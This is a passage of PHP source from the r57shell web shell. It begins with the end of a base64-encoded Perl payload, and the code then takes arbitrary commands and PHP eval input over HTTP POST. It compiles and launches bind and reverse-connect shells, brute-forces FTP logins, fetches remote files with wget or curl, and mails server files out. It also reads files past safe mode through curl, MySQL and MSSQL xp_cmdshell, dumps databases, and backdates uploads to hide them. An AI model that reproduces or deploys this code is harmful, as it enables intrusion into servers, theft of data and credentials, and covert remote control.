QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";echo $head;echo '</head>';if(empty($_POST['cmd'])){$serv=array(127 ,192 ,172 ,10 );$addr=@explode('.',$_SERVER['SERVER_ADDR']);$current_version=str_replace('.','',$version);if(!in_array($addr[0 ],$serv)){}}echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc width=200><font face=Verdana size=2>'.ws(1 ).'&nbsp;
<font face=Webdings size=6><b>!</b></font><b>'.ws(2 ).'r57shell '.$version.'</b>
</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';echo ws(2 );echo "<b>".date("d-m-Y H:i:s")."</b>";echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;if($unix){echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;}echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?mysql_query><b>mysql query</b></a> ".$rb;echo ws(2 ).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";echo ws(2 );echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>"));echo ws(2 );echo "PHP version: <b>".@phpversion()."</b>";$curl_on=@function_exists('curl_version');echo ws(2 );echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>"));echo ws(2 );echo "MySQL: <b>";$mysql_on=@function_exists('mysql_connect');if($mysql_on){echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";}echo ws(2 );echo "MSSQL: <b>";$mssql_on=@function_exists('mssql_connect');if($mssql_on){echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";}echo ws(2 );echo "PostgreSQL: <b>";$pg_on=@function_exists('pg_connect');if($pg_on){echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";}echo ws(2 );echo "Oracle: <b>";$ora_on=@function_exists('ocilogon');if($ora_on){echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";}echo "<br>".ws(2 );echo "Disable functions : <b>";if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else {echo "<font color=red>$df</font></b>";}$free=@diskfreespace($dir);if(!$free){$free=0 ;}$all=@disk_total_space($dir);if(!$all){$all=0 ;}$used=$all-$free;$used_percent=@round(100 /($all/$free),2 );echo "<br>".ws(2 )."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>";echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>';echo $font;if(!$windows){echo '<font color=blue><b>uname -a :'.ws(1 ).'<br>sysctl :'.ws(1 ).'<br>$OSTYPE :'.ws(1 ).'<br>Server :'.ws(1 ).'<br>id :'.ws(1 ).'<br>pwd :'.ws(1 ).'</b></font><br>';echo "</td><td>";echo "<font face=Verdana size=-2 color=red><b>";$uname=ex('uname -a');echo ((!empty($uname))?(ws(3 ).@substr($uname,0 ,120 )."<br>"):(ws(3 ).@substr(@php_uname(),0 ,120 )."<br>"));if(!$safe_mode){$bsd1=ex('sysctl -n kern.ostype');$bsd2=ex('sysctl -n kern.osrelease');$lin1=ex('sysctl -n kernel.ostype');$lin2=ex('sysctl -n kernel.osrelease');}if(!empty($bsd1) && !empty($bsd2)){$sysctl="$bsd1 $bsd2";}else if(!empty($lin1) && !empty($lin2)){$sysctl="$lin1 $lin2";}else {$sysctl="-";}echo ws(3 ).$sysctl."<br>";echo ws(3 ).ex('echo $OSTYPE')."<br>";echo ws(3 ).@substr($SERVER_SOFTWARE,0 ,120 )."<br>";$id=ex('id');echo ((!empty($id))?(ws(3 ).$id."<br>"):(ws(3 )."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"));echo ws(3 ).$dir;echo ws(3 ).'( '.perms(@fileperms($dir)).' )';echo "</b></font>";}else {echo '<font color=blue><b>OS :'.ws(1 ).'<br>Server :'.ws(1 ).'<br>User :'.ws(1 ).'<br>pwd :'.ws(1 ).'</b></font><br>';echo "</td><td>";echo "<font face=Verdana size=-2 color=red><b>";echo ws(3 ).@substr(@php_uname(),0 ,120 )."<br>";echo ws(3 ).@substr($SERVER_SOFTWARE,0 ,120 )."<br>";echo ws(3 ).@get_current_user()."<br>";echo ws(3 ).$dir;echo "<br></font>";}echo "</font>";echo "</td></tr></table>";if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail"){$res=mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n");mr($language,$res);$_POST['cmd']="";}if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])){if(!$file=@fopen($_POST['loc_file'],"r")){echo re($_POST['loc_file']);$_POST['cmd']="";}else {$filename=@basename($_POST['loc_file']);$filedump=@fread($file,@filesize($_POST['loc_file']));fclose($file);$content_encoding=$mime_type='';compress($filename,$filedump,$_POST['compress']);$attach=array("name"=>$filename,"type"=>$mime_type,"content"=>$filedump);if(empty($_POST['subj'])){$_POST['subj']='file from r57shell';}if(empty($_POST['from'])){$_POST['from']='[email protected]';}$res=mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);mr($language,$res);$_POST['cmd']="";}}if(!empty($_POST['cmd']) && $_POST['cmd']=="find_text"){$_POST['cmd']='find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';}if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_"){switch($_POST['what']){case 'own':@chown($_POST['param1'],$_POST['param2']);break;case 'grp':@chgrp($_POST['param1'],$_POST['param2']);break;case 'mod':@chmod($_POST['param1'],intval($_POST['param2'],8 ));break;}$_POST['cmd']="";}if(!empty($_POST['cmd']) && $_POST['cmd']=="mk"){switch($_POST['what']){case 'file':if($_POST['action']=="create"){if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")){echo ce($_POST['mk_name']);$_POST['cmd']="";}else {fclose($file);$_POST['e_name']=$_POST['mk_name'];$_POST['cmd']="edit_file";echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";}}else if($_POST['action']=="delete"){if(unlink($_POST['mk_name']))echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";$_POST['cmd']="";}break;case 'dir':if($_POST['action']=="create"){if(mkdir($_POST['mk_name'])){$_POST['cmd']="";echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";}else {echo ce($_POST['mk_name']);$_POST['cmd']="";}}else if($_POST['action']=="delete"){if(rmdir($_POST['mk_name']))echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";$_POST['cmd']="";}break;}}if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])){if(!$file=@fopen($_POST['e_name'],"r+")){$only_read=1 ;@fclose($file);}if(!$file=@fopen($_POST['e_name'],"r")){echo re($_POST['e_name']);$_POST['cmd']="";}else {echo $table_up3;echo $font;echo "<form name=save_file method=post>";echo ws(3 )."<b>".$_POST['e_name']."</b>";echo "<div align=center><textarea name=e_text cols=121 rows=24>";echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));fclose($file);echo "</textarea>";echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";echo "<input type=hidden name=dir value=".$dir.">";echo "<input type=hidden name=cmd value=save_file>";echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));echo "</div>";echo "</font>";echo "</form>";echo "</td></tr></table>";exit();}}if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file"){if(!$file=@fopen($_POST['e_name'],"w")){echo we($_POST['e_name']);}else {@fwrite($file,$_POST['e_text']);@fclose($file);$_POST['cmd']="";echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";}}if(!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use']=="C")){cf("/tmp/bd.c",$port_bind_bd_c);$blah=ex("gcc -o /tmp/bd /tmp/bd.c");@unlink("/tmp/bd.c");$blah=ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");$_POST['cmd']="ps -aux | grep bd";}if(!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use']=="Perl")){cf("/tmp/bdpl",$port_bind_bd_pl);$p2=which("perl");if(empty($p2))$p2="perl";$blah=ex($p2." /tmp/bdpl ".$_POST['port']." &");$_POST['cmd']="ps -aux | grep bdpl";}if(!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")){cf("/tmp/back",$back_connect);$p2=which("perl");if(empty($p2))$p2="perl";$blah=ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";}if(!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")){cf("/tmp/back.c",$back_connect_c);$blah=ex("gcc -o /tmp/backc /tmp/back.c");@unlink("/tmp/back.c");$blah=ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";}if(!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")){cf("/tmp/dp",$datapipe_pl);$p2=which("perl");if(empty($p2))$p2="perl";$blah=ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");$_POST['cmd']="ps -aux | grep dp";}if(!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")){cf("/tmp/dpc.c",$datapipe_c);$blah=ex("gcc -o /tmp/dpc /tmp/dpc.c");@unlink("/tmp/dpc.c");$blah=ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");$_POST['cmd']="ps -aux | grep dpc";}if(!empty($_POST['alias'])){foreach($aliases as $alias_name=>$alias_cmd){if($_POST['alias']==$alias_name){$_POST['cmd']=$alias_cmd;}}}if(!empty($_FILES['userfile']['name'])){if(isset($_POST['nf1']) && !empty($_POST['new_name'])){$nfn=$_POST['new_name'];}else {$nfn=$_FILES['userfile']['name'];}if(!@copy($_FILES['userfile']['tmp_name'],$_POST['dir']."/".$nfn)){print ("<font color=red face=Fixedsys><div align=center>Error uploading file ".$_FILES['userfile']['name']."</div></font>");}else {if(is_file('index.php')){$timeOthFile=filemtime('index.php');touch($_POST['dir']."/".$nfn,$timeOthFile,$timeOthFile);}}}if(!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])){switch($_POST['with']){case wget:$_POST['cmd']=which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";break;case fetch:$_POST['cmd']=which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";break;case lynx:$_POST['cmd']=which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";break;case links:$_POST['cmd']=which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";break;case GET:$_POST['cmd']=which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";break;case curl:$_POST['cmd']=which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";break;}}if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")){list($ftp_server,$ftp_port)=split(":",$_POST['ftp_server_port']);if(empty($ftp_port)){$ftp_port=21 ;}$connection=@ftp_connect($ftp_server,$ftp_port,10 );if(!$connection){fe($language,0 );}else {if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])){fe($language,1 );}else {if($_POST['cmd']=="ftp_file_down"){if(chop($_POST['loc_file'])==$dir){$_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']);}@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}if($_POST['cmd']=="ftp_file_up"){@ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}}}@ftp_close($connection);$_POST['cmd']="";}if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute"){list($ftp_server,$ftp_port)=split(":",$_POST['ftp_server_port']);if(empty($ftp_port)){$ftp_port=21 ;}$connection=@ftp_connect($ftp_server,$ftp_port,10 );if(!$connection){fe($language,0 );$_POST['cmd']="";}else if(!$users=shell_get_users()){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>";$_POST['cmd']="";}@ftp_close($connection);}echo $table_up3;if(empty($_POST['cmd']) && !$safe_mode){$_POST['cmd']=($windows)?("dir"):("ls -lia");}else if(empty($_POST['cmd']) && $safe_mode){$_POST['cmd']="safe_dir";}echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center>";if(!$safe_mode || $_POST['cmd']!="safe_dir"){echo "<textarea name=report cols=121 rows=15>";}if($safe_mode){switch($_POST['cmd']){case 'safe_dir':$d=@dir($dir);if($d){$arrDirs=array();$arrFiles=array();$arrCnt=0 ;while(false!==($file=$d->read())){if($file==".")continue;@clearstatcache();list($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize)=stat($file);if($windows){if(@is_dir($file)){$arrDirs[$file]['type']="dir";$arrDirs[$file]['permis']="";$arrDirs[$file]['date']=date("d.m.Y H:i",$mtime);$arrDirs[$file]['size']="  <DIR>";$arrDirs[$file]['name']=$file;}else {$arrFiles[$file]['type']="file";$arrFiles[$file]['permis']="";$arrFiles[$file]['date']=date("d.m.Y H:i",$mtime);$arrFiles[$file]['size']=sprintf("%7s",$size);$arrFiles[$file]['name']=$file;}}else {if(@is_dir($file)){$arrDirs[$file]['type']="dir";$arrDirs[$file]['permis']=perms(@fileperms($file));$arrDirs[$file]['date']=date("d.m.Y H:i",$mtime);$arrDirs[$file]['size']=sprintf("%9s %7s",$uid."/".$gid,$size);$arrDirs[$file]['name']=$file;}else {$arrFiles[$file]['type']="file";$arrFiles[$file]['permis']=perms(@fileperms($file));$arrFiles[$file]['date']=date("d.m.Y H:i",$mtime);$arrFiles[$file]['size']=sprintf("%9s %7s",$uid."/".$gid,$size);$arrFiles[$file]['name']=$file;}}$arrCnt++;}$d->close();ksort($arrDirs);ksort($arrFiles);$arrDirsAndFiles=array_merge($arrDirs,$arrFiles);}else {echo $lang[$language._text29];}break;case 'safe_file':if(@is_file($_POST['file'])){$file=@file($_POST['file']);if($file){$c=@sizeof($file);for($i=0 ;$i<$c;$i++){echo htmlspecialchars($file[$i]);}}else {echo $lang[$language._text29];}}else {echo $lang[$language._text31];}break;case 'test1':$ci=@curl_init("file://".$_POST['test1_file']."");$cf=@curl_exec($ci);echo $cf;break;case 'test2':@include ($_POST['test2_file']);break;case 'test3':if(!isset($_POST['test3_port']) || empty($_POST['test3_port'])){$_POST['test3_port']="3306";}$db=@mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);if($db){if(@mysql_select_db($_POST['test3_md'],$db)){$sql="DROP TABLE IF EXISTS temp_r57_table;";@mysql_query($sql);$sql="CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";@mysql_query($sql);$sql="LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";@mysql_query($sql);$sql="SELECT * FROM temp_r57_table;";$r=@mysql_query($sql);while(($r_sql=@mysql_fetch_array($r))){echo @htmlspecialchars($r_sql[0 ]);}$sql="DROP TABLE IF EXISTS temp_r57_table;";@mysql_query($sql);}else echo "[-] ERROR! Can't select database";@mysql_close($db);}else echo "[-] ERROR! Can't connect to mysql server";break;case 'test4':if(!isset($_POST['test4_port']) || empty($_POST['test4_port'])){$_POST['test4_port']="1433";}$db=@mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);if($db){if(@mssql_select_db($_POST['test4_md'],$db)){@mssql_query("drop table r57_temp_table",$db);@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);$res=mssql_query("select * from r57_temp_table",$db);while(($row=@mssql_fetch_row($res))){echo $row[0 ]."\r\n";}@mssql_query("drop table r57_temp_table",$db);}else echo "[-] ERROR! Can't select database";@mssql_close($db);}else echo "[-] ERROR! Can't connect to MSSQL server";break;}}else if(($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_show") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute")){$cmd_rep=ex($_POST['cmd']);if($windows){echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n";}else {echo @htmlspecialchars($cmd_rep)."\n";}}if($_POST['cmd']=="ftp_brute"){$suc=0 ;foreach($users as $user){$connection=@ftp_connect($ftp_server,$ftp_port,10 );if(@ftp_login($connection,$user,$user)){echo "[+] $user:$user - success\r\n";$suc++;}else if(isset($_POST['reverse'])){if(@ftp_login($connection,$user,strrev($user))){echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}}@ftp_close($connection);}echo "\r\n-------------------------------------\r\n";$count=count($users);if(isset($_POST['reverse'])){$count*=2 ;}echo $lang[$language.'_text97'].$count."\r\n";echo $lang[$language.'_text98'].$suc."\r\n";}if($_POST['cmd']=="php_eval"){$eval=@str_replace("<?","",$_POST['php_eval']);$eval=@str_replace("?>","",$eval);eval($eval);}if($_POST['cmd']=="db_show"){switch($_POST['db']){case 'MySQL':if(empty($_POST['db_port'])){$_POST['db_port']='3306';}$db=@mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);if($db){$res=@mysql_query("SHOW DATABASES",$db);while(($row=@mysql_fetch_row($res))){echo "[+] ".$row[0 ]."\r\n";if(isset($_POST['st'])){$res2=@mysql_query("SHOW TABLES FROM ".$row[0 ],$db);while(($row2=@mysql_fetch_row($res2))){echo " | - ".$row2[0 ]."\r\n";if(isset($_POST['sc'])){$res3=@mysql_query("SHOW COLUMNS FROM ".$row[0 ].".".$row2[0 ],$db);while(($row3=@mysql_fetch_row($res3))){echo "   | - ".$row3[0 ]."\r\n";}}}}}@mysql_close($db);}else echo "[-] ERROR! Can't connect to MySQL server";break;case 'MSSQL':if(empty($_POST['db_port'])){$_POST['db_port']='1433';}$db=@mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);if($db){$res=@mssql_query("sp_databases",$db);while(($row=@mssql_fetch_row($res))){echo "[+] ".$row[0 ]."\r\n";if(isset($_POST['st'])){@mssql_select_db($row[0 ]);$res2=@mssql_query("sp_tables",$db);while(($row2=@mssql_fetch_array($res2))){if($row2['TABLE_TYPE']=='TABLE' && $row2['TABLE_NAME']!='dtproperties'){echo " | - ".$row2['TABLE_NAME']."\r\n";if(isset($_POST['sc'])){$res3=@mssql_query("sp_columns ".$row2[2 ],$db);while(($row3=@mssql_fetch_array($res3))){echo "   | - ".$row3['COLUMN_NAME']."\r\n";}}}}}}@mssql_close($db);}else echo "[-] ERROR! Can't connect to MSSQL server";break;case 'PostgreSQL':if(empty($_POST['db_port'])){$_POST['db_port']='5432';}$str="host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";$db=@pg_connect($str);if($db){$res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");while(($row=@pg_fetch_row($res))){echo "[+] ".$row[0 ]."\r\n";}@pg_close($db);}else echo "[-] ERROR! Can't connect to PostgreSQL server";break;}}if($_POST['cmd']=="mysql_dump"){if(isset($_POST['dif'])){$fp=@fopen($_POST['dif_name'],"w");}if((!empty($_POST['dif']) && $fp) || (empty($_POST['dif']))){$sqh="# homepage: http://rst.void.ru\r\n";$sqh.="# ---------------------------------\r\n";$sqh.="#     date : ".date("j F Y g:i")."\r\n";$sqh.="# database : ".$_POST['mysql_db']."\r\n";$sqh.="#    table : ".$_POST['mysql_tbl']."\r\n";$sqh.="# ---------------------------------\r\n\r\n";switch($_POST['db']){case 'MySQL':if(empty($_POST['db_port'])){$_POST['db_port']='3306';}$db=@mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);if($db){if(@mysql_select_db($_POST['mysql_db'],$db)){$sql1="# MySQL dump created by r57shell\r\n";$sql1.=$sqh;$res=@mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`",$db);$row=@mysql_fetch_row($res);$sql1.=$row[1 ]."\r\n\r\n";$sql1.="# ---------------------------------\r\n\r\n";$sql2='';$res=@mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`",$db);if(@mysql_num_rows($res)>0 ){while(($row=@mysql_fetch_assoc($res))){$keys=@implode("`, `",@array_keys($row));$values=@array_values($row);foreach($values as $k=>$v){$values[$k]=addslashes($v);}$values=@implode("', '",$values);$sql2.="INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";}$sql2.="\r\n# ---------------------------------";}if(!empty($_POST['dif']) && $fp){@fputs($fp,$sql1.$sql2);}else {echo $sql1.$sql2;}}else echo "[-] ERROR! Can't select database";@mysql_close($db);}else echo "[-] ERROR! Can't connect to MySQL server";break;case 'MSSQL':if(empty($_POST['db_port'])){$_POST['db_port']='1433';}$db=@mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);if($db){if(@mssql_select_db($_POST['mysql_db'],$db)){$sql1="# MSSQL dump created by r57shell\r\n";$sql1.=$sqh;$sql2='';$res=@mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."",$db);if(@mssql_num_rows($res)>0 ){while(($row=@mssql_fetch_assoc($res))){$keys=@implode(", ",@array_keys($row));$values=@array_values($row);foreach($values as $k=>$v){$values[$k]=addslashes($v);}$values=@implode("', '",$values);$sql2.="INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";}$sql2.="\r\n# ---------------------------------";}if(!empty($_POST['dif']) && $fp){@fputs($fp,$sql1.$sql2);}else {echo $sql1.$sql2;}}else echo "[-] ERROR! Can't select database";@mssql_close($db);}else echo "[-] ERROR! Can't connect to MSSQL server";break;case 'PostgreSQL':if(empty($_POST['db_port'])){$_POST['db_port']='5432';}$str="host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";$db=@pg_connect($str);if($db){$sql1="# PostgreSQL dump created by r57shell\r\n";$sql1.=$sqh;$sql2='';$res=@pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");if(@pg_num_rows($res)>0 ){while(($row=@pg_fetch_assoc($res))){$keys=@implode(", ",@array_keys($row));$values=@array_values($row);foreach($values as $k=>$v){$values[$k]=addslashes($v);}$values=@implode("', '",$values);$sql2.="INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";}$sql2.="\r\n# ---------------------------------";}if(!empty($_POST['dif']) && $fp){@fputs($fp,$sql1.$sql2);}else {echo $sql1.$sql2;}@pg_close($db);}else echo "[-] ERROR! Can't connect to PostgreSQL server";break;}}else if(!empty($_POST['dif']) && !$fp){echo "[-] ERROR! Can't write in dump file";}}if(!$safe_mode || $_POST['cmd']!="safe_dir"){echo "</textarea>";}echo "</div>";echo "</b>";echo "</td></tr>";if($safe_mode && $_POST['cmd']=="safe_dir" && isset($arrDirsAndFiles)){echo "<tr><td>";print "<form method=post name=mf style='display:none;'>
		<input type=hidden name='dir' value='".$dir."'>
		<input type=hidden name='cmd' value=''>
		<input type=hidden name='pName' value=''>
	</form>";print "<script>
		function g(cmd,dir,pName,pVal) {
			if(cmd!=null){ document.mf.cmd.value = cmd; }
			if(dir!=null){ document.mf.dir.value = dir; }
			if(pName!=null){ document.mf.pName.name = pName; }
			if(pName!=null && pVal!=null){ document.mf.pName.value = pVal; }
			document.mf.submit();
		}
	</script>";print "<style>";print ".tableList {font-family:Verdana; font-size:11px; background-color:#e4e4e4; margin:10px; border-collapse:collapse; }";print ".tableList a {text-decoration:none; color:#000; }";print ".tableList a:hover {text-decoration:underline; color:#000; }";print ".tableList td {border:1px solid #a0a0a0; padding:0 5px; }";print ".tableList th {background-color:#a0a0a0; border:1px solid #c8c8c8; text-align:center; }";print ".tableList tr:hover {background-color:#fffbfb; }";print "</style>";print "<center><table width='70%' cellpadding='0' cellspacing='0' border='0' class='tableList'><tr><th>name</th><th>size</th><th>date</th><th>permis</th></tr>";print "";foreach($arrDirsAndFiles as $arrDirsAndFilesKey=>$arrDirsAndFilesVal){print "<tr>";if($arrDirsAndFilesVal['type']=="dir"){print "<td><a href=# onclick=\"g('safe_dir','".str_replace("\\","/",$dir)."/".$arrDirsAndFilesVal['name']."',null,null)\"><b>".$arrDirsAndFilesVal['name']."</b></a></td>";}if($arrDirsAndFilesVal['type']=="file"){print "<td><a href=# onclick=\"g('edit_file',null,'e_name','".str_replace("\\","/",$dir)."/".$arrDirsAndFilesVal['name']."')\">".$arrDirsAndFilesVal['name']."</a></td>";}print "<td>".str_replace(array("<",">"),array("&lt;","&gt;"),$arrDirsAndFilesVal['size'])."</td>";print "<td>".$arrDirsAndFilesVal['date']."</td>";print "<td>".$arrDirsAndFilesVal['permis']."&nbsp;</td>";print "</tr>";}print "</table></center>";echo "</td></tr>";}echo "</table>";echo "<table width=100% cellpadding=0 cellspacing=0>";function up_down($id){global $lang;global $language;return "";}function div($id){if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0 )return '<div id="'.$id.'" style="display: none;">';return '<div id="'.$id.'">';}if(!$safe_mode){echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts;echo sr(15 ,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85 ,''));echo sr(15 ,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85 ,$dir).ws(4 ).in('submit','submit',0 ,$lang[$language.'_butt1']));echo 